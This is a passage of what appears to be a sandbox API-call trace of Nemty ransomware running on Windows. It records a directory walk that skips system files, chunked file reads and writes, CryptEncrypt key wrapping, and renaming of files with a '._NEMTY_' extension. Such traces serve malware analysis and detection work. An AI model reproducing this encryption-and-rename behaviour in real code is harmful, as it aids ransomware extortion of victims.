lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.897] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.897] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.906] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.906] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.916] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.917] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.926] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.926] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.935] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.935] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.944] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.944] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.944] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.944] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.954] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.954] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.961] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.961] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.966] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.967] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.967] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.967] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0154.967] CloseHandle (hObject=0xffffffff) returned 0 [0154.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0154.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0154.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0154.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0154.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0154.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0154.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0154.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0154.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0154.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0154.967] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\27.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\27.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\27.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\27.png._nemty_kgobjgd_")) returned 0 [0154.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0154.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0154.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0154.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0154.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0154.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0154.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0154.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0154.967] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869d8119, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x869d8119, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ad3ec17, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x13c8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="28.png", cAlternateFileName="")) returned 1 [0154.967] lstrcmpiW (lpString1="28.png", lpString2=".") returned 1 [0154.967] lstrcmpiW (lpString1="28.png", lpString2="..") returned 1 [0154.967] lstrcmpiW (lpString1="28.png", lpString2="...") returned 1 [0154.967] lstrcmpiW (lpString1="28.png", lpString2="windows") returned -1 [0154.967] lstrcmpiW (lpString1="28.png", lpString2="$RECYCLE.BIN") returned 1 [0154.968] lstrcmpiW (lpString1="28.png", lpString2="rsa") returned -1 [0154.968] lstrcmpiW (lpString1="28.png", lpString2="NTDETECT.COM") returned -1 [0154.968] lstrcmpiW (lpString1="28.png", lpString2="ntldr") returned -1 [0154.968] lstrcmpiW (lpString1="28.png", lpString2="MSDOS.SYS") returned -1 [0154.968] lstrcmpiW (lpString1="28.png", lpString2="IO.SYS") returned -1 [0154.968] lstrcmpiW (lpString1="28.png", lpString2="boot.ini") returned -1 [0154.968] lstrcmpiW (lpString1="28.png", lpString2="boot.ini") returned -1 [0154.968] lstrcmpiW (lpString1="28.png", lpString2="AUTOEXEC.BAT") returned -1 [0154.968] lstrcmpiW (lpString1="28.png", lpString2="ntuser.dat") returned -1 [0154.968] lstrcmpiW (lpString1="28.png", lpString2="desktop.ini") returned -1 [0154.968] lstrcmpiW (lpString1="28.png", lpString2="CONFIG.SYS") returned -1 [0154.968] lstrcmpiW (lpString1="28.png", lpString2="RECYCLER") returned -1 [0154.968] lstrcmpiW (lpString1="28.png", lpString2="BOOTSECT.BAK") returned -1 [0154.968] lstrcmpiW (lpString1="28.png", lpString2="bootmgr") returned -1 [0154.968] lstrcmpiW (lpString1="28.png", lpString2="programdata") returned -1 [0154.968] lstrcmpiW (lpString1="28.png", lpString2="appdata") returned -1 [0154.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="28.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="28.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="28.png", lpUsedDefaultChar=0x0) returned 6 [0154.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="28.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="28.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="28.png", lpUsedDefaultChar=0x0) returned 6 [0154.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="28.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="28.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="28.png", lpUsedDefaultChar=0x0) returned 6 [0154.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="28.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="28.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="28.png", lpUsedDefaultChar=0x0) returned 6 [0154.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0154.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0154.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0154.968] Sleep (dwMilliseconds=0x5) [0154.990] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x10064150, dwHighDateTime=0x1d561e8)) [0154.990] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x10064150, dwHighDateTime=0x1d561e8)) [0154.990] GetLastError () returned 0x5 [0154.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0154.990] GetLastError () returned 0x5 [0154.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0154.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0154.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0154.990] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0154.990] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0154.991] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0154.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0154.991] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="2pDh9UOn+DvhEhesb81kPG3jChVOrzt8b4rIubLXxjvcwXIv/mkYeqR+DH5YAm7y\r\nj58FPuqsq2EAGu68ptw89Z182O56uDXITwtESztqrwE1tm6po3jOxNkGB0ZDclF1\r\nB6F3m05rB8YijodT9U43gbxA5YiVi1TtYy3cCztboa+TWoWjkxa3RacPtSY3lt3e\r\nwGFnhaXg+6h/PIf+BVCFxT+d1JRvOGZD5AOuaAgQDdIUUPnRKC1DjE8XO3GiY3Nq\r\n/EQm3XK34NYR8bBZvfy7zrYCX97JAPs31jtZLNZroKRwyTXSVE6RPPW7EWqLfVzi\r\nyHJCyNMY7BiU1amBWdQUQg==\r\n", pcchString=0x653e91c) returned 1 [0154.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0154.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0154.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0154.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0154.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0154.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0154.991] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\28.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\28.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0154.991] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0154.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0154.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.991] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.000] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.000] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.000] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.000] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.009] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.010] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.010] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.019] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.019] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.019] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.019] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.028] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.028] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.038] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.038] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.038] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.038] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.048] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.048] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.048] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.048] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.058] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.058] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.058] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.058] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.068] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.068] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.068] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.077] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 